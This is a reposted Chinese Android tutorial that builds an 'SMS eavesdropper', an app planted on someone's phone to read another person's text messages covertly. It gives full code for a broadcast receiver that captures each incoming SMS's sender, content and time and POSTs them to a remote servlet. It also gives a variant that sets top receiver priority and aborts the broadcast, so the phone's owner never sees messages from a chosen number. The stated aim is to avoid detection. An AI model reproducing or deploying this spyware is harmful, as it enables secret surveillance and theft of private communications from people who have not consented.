Android入門:廣播接收者應用(簡訊竊聽器)

來源:互聯網
上載者:User
一、簡訊竊聽器原理介紹簡訊竊聽器的目的是竊聽某人發送的簡訊,比如我們在A的手機中安裝了此應用想要看B發送給A的簡訊;
而怎麼樣才能夠獲得簡訊息呢?如果通過簡訊方式發送給第三方,則會被看出來,因此我們可以通過網路將訊息發送給web伺服器;Android手機中的Messaging應用也只是一個普通的應用;二、核心代碼 簡訊竊聽器用戶端核心代碼

在AndroidManifest.xml中添加許可權:

<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收簡訊許可權 --><uses-permission android:name="android.permission.INTERNET"/><!-- 網路存取權限 -->

(1)Object[] pdus = (Object[])intent.getExtras().get("pdus");獲得簡訊資料

(2)byte[] pdu = (byte[])pdus[0];

(3)SmsMessage message  = SmsMessage.createFromPdu(pdu);將位元組數組封裝為SmsMessage

(4)String content = message.getMessageBody();獲得簡訊內容

(5)String date = new Date(message.getTimestampMillis()).toLocaleString();獲得簡訊時間

(6)String senderNumber = message.getOriginatingAddress();獲得發送方號碼

伺服器端代碼只是接收參數並顯示;

三、簡訊竊聽器具體代碼


伺服器端代碼

package org.xiazdong.servlet;import java.io.IOException;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;@WebServlet("/SMSServlet")public class SMSServlet extends HttpServlet {protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {doPost(request, response);}protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {request.setCharacterEncoding("utf-8");String sender = request.getParameter("sender");String body = request.getParameter("body");String time = request.getParameter("time");System.out.println("發送方:"+sender);System.out.println("發送內容:"+body);System.out.println("發送時間:"+time);}}

1.只是獲得簡訊息

情境介紹



效果說明:


package com.xiazdong.smslistener;import java.io.OutputStream;import java.net.HttpURLConnection;import java.net.URL;import java.net.URLEncoder;import java.util.Date;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.telephony.SmsMessage;import android.util.Log;public class SMSBroadcastReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {Object[] pdus = (Object[])intent.getExtras().get("pdus");//接收資料for(Object p: pdus){byte[]pdu = (byte[])p;SmsMessage message = SmsMessage.createFromPdu(pdu);//根據獲得的byte[]封裝成SmsMessageString body = message.getMessageBody();//發送內容String date = new Date(message.getTimestampMillis()).toLocaleString();//發送時間String sender = message.getOriginatingAddress();//簡訊發送方try {sendSMS(sender,body,date);} catch (Exception e) {e.printStackTrace();}if("5554".equals(sender)){try {sendSMS(sender,body,date);} catch (Exception e) {e.printStackTrace();}}}}private void sendSMS(String sender, String body, String date) throws Exception{String params = "sender="+URLEncoder.encode(sender)+"&body="+URLEncoder.encode(body)+"&time="+URLEncoder.encode(date);byte[]bytes = params.getBytes("UTF-8");URL url = new URL("http://192.168.0.103:8080/Server/SMSServlet");HttpURLConnection conn = (HttpURLConnection)url.openConnection();conn.setRequestMethod("POST");conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");//設定HTTP要求標頭conn.setRequestProperty("Content-Length", bytes.length+"");conn.setDoOutput(true);OutputStream out = conn.getOutputStream();out.write(bytes);//設定HTTP請求體if(conn.getResponseCode()==200){Log.i("TAG", "發送成功");}}}

AndroidManifest.xml

<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收簡訊許可權 --><uses-permission android:name="android.permission.INTERNET"/><!-- 網路存取權限 --><application     android:icon="@drawable/ic_launcher"     android:label="@string/app_name" >     <receiver android:name=".SMSBroadcastReceiver">         <intent-filter >            <action android:name="android.provider.Telephony.SMS_RECEIVED"/>         </intent-filter>       </receiver></application>

2.屏蔽簡訊並發送給第三方

情境說明


用戶端代碼:


package com.xiazdong.smslistener;import java.io.OutputStream;import java.net.HttpURLConnection;import java.net.URL;import java.net.URLEncoder;import java.util.Date;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.telephony.SmsMessage;import android.util.Log;public class SMSBroadcastReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {Object[] pdus = (Object[])intent.getExtras().get("pdus");//接收資料for(Object p: pdus){byte[]pdu = (byte[])p;SmsMessage message = SmsMessage.createFromPdu(pdu);//根據獲得的byte[]封裝成SmsMessageString body = message.getMessageBody();//發送內容String date = new Date(message.getTimestampMillis()).toLocaleString();//發送時間String sender = message.getOriginatingAddress();//簡訊發送方if("15555215556".equals(sender)){try {sendSMS(sender,body,date);} catch (Exception e) {e.printStackTrace();}abortBroadcast();//中斷廣播}}}private void sendSMS(String sender, String body, String date) throws Exception{String params = "sender="+URLEncoder.encode(sender)+"&body="+URLEncoder.encode(body)+"&time="+URLEncoder.encode(date);byte[]bytes = params.getBytes("UTF-8");URL url = new URL("http://192.168.0.103:8080/Server/SMSServlet");HttpURLConnection conn = (HttpURLConnection)url.openConnection();conn.setRequestMethod("POST");conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");//設定HTTP要求標頭conn.setRequestProperty("Content-Length", bytes.length+"");conn.setDoOutput(true);OutputStream out = conn.getOutputStream();out.write(bytes);//設定HTTP請求體if(conn.getResponseCode()==200){Log.i("TAG", "發送成功");}}}

AndroidManifest.xml

<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收簡訊許可權 --><uses-permission android:name="android.permission.INTERNET"/><!-- 網路存取權限 -->    <application        android:icon="@drawable/ic_launcher"        android:label="@string/app_name" >        <receiver android:name=".SMSBroadcastReceiver">            <intent-filter android:priority="1000"><!-- 優先順序設為1000,最高 -->                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>            </intent-filter>                    </receiver>    </application>

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.